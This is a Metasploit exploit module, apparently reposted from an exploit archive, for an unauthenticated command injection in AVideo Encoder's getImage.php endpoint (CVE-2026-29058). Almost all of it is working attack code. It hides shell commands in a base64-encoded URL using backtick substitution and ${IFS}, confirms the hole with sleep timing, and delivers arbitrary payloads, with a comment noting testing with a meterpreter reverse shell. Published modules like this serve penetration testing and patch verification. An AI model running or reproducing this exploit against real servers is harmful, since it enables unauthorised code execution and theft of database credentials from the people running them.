Share
## https://sploitus.com/exploit?id=PACKETSTORM:217433
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
            'Description' => %q{
              This module exploits an unauthenticated OS command injection vulnerability
              in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
    
              The base64Url GET parameter is base64-decoded and injected directly into an
              ffmpeg shell command within double quotes, without any sanitization or use of
              escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
              metacharacters such as $() in the URL path, allowing command substitution.
    
              A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
              into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
    
              The Encoder code is served by the main AVideo Apache container (mounted at
              /Encoder), so exploitation gives access to the main application context including
              database credentials and configuration.
    
              Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
              and shell metacharacter stripping.
            },
            'Author' => [
              'arkmarta', # Vulnerability discovery -- props to you man
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-29058'],
              ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                  'DefaultOptions' => {
                    'ENCODER' => 'generic/none',
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-03-05',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
        ])
      end
    
      def check
        res = send_getimage('true')
        return CheckCode::Unknown('Failed to connect to the target.') unless res
        return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
    
        hits = 0
    
        3.times do |i|
          sleep_time = rand(1..3)
          vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
          _, elapsed = Rex::Stopwatch.elapsed_time do
            send_getimage("sleep${IFS}#{sleep_time}")
          end
    
          next unless elapsed >= (sleep_time - 0.5)
    
          vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
          hits += 1
        end
    
        return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
    
        CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
      end
    
      def exploit
        print_status('Sending command injection via getImage.php...')
        send_getimage(payload.encoded.gsub(' ', '${IFS}'))
      end
    
      def send_getimage(cmd)
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
          'method' => 'GET',
          'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
        })
      end
    end